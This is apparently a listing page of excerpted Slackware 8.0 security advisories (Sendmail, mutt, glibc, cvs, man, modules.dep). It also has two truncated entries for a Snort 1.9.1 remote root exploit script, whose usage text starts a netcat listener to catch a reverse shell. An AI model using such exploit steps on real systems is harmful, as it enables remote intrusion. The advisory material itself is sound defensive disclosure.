SSA-2004-222-01b Sendmail buffer overflow fixed (NEW)

slackware-security Sendmail buffer overflow fixed NEW The sendmail packages in Slackware 8.0, 8.1, and 9.0 have been patched to fix a security problem. Note that this vulnerablity is NOT the same one that was announced on March 3rd and requires a new fix. All sites running sendmail should upgrade...

SSA-18695 mutt remote exploit patched

An exploitable overflow has been found in the address handling code of the mutt mail client version 1.2.5i supplied with Slackware 8.0. A new mutt-1.2.5.1 has been released which addresses this problem, and packages are now available for Slackware 8.0 and -current. We urge all Slackware users to...

Snort 1.9.1 - p7snort191.sh Remote Command Execution

Snort 1.9.1 - p7snort191.sh Remote Command Execution !/bin/sh p7snort191.sh by truff [email protected] Snort 1.9.1 and below remote exploit Tested on Slackware 8.0 with Snort 1.9.1 from sources Usage: 1/ Launch a listening netcat to listen for the shell nc -p 45295 -l 2/ p7snort119.sh yourIP...

Snort <=1.9.1 Remote Root Exploit (p7snort191.sh)

Exploit for linux platform in category remote exploits ================================================= Snort =1.9.1 Remote Root Exploit p7snort191.sh ================================================= !/bin/sh p7snort191.sh by truff email protected Snort 1.9.1 and below remote exploit Tested on...

cvs recompiled against updated zlib + /tmp fix

New cvs packages are available to fix security problems. Here's the information from the Slackware 8.0 ChangeLog: ---------------------------- Mon Mar 11 17:54:12 PST 2002 patches/packages/cvs.tgz: Patched to link to the shared zlib on the system instead of statically linking to the included zlib...

glibc glob overflow patched

A buffer overflow has been found in the glob3 function in glibc. Fixed packages for Slackware 8.0 are now available. Here's the information from the Slackware 8.0 ChangeLog: Fri Jan 11 14:07:07 PST 2002 patches/packages/glibc.tgz, patches/packages/glibcso.tgz: Fixed a buffer overflow in the glob3...

slackware.init.txt

I posted this to the linux kernel mailing last Friday, July 13th 2001: Submitted by : Josh [email protected], lockdown [email protected] on July 16th, 2001 Vulnerability : /lib/modules/2.4.5/modules.dep Tested On : Slackware 8.0. 2.4.5 Local : Yes Remote : No Temporary Fix : umask 022 at...

Slackware /usr/bin/man vulnerability

The following advisory was sent to slackware July 11th, 2001, they failed to respond so I hope the temporary patch will make do: Submitted by : Josh [email protected], lockdown [email protected] zen-parse [email protected] Vulnerability : /usr/bin/man Tested On : Slackware 8.0 and before...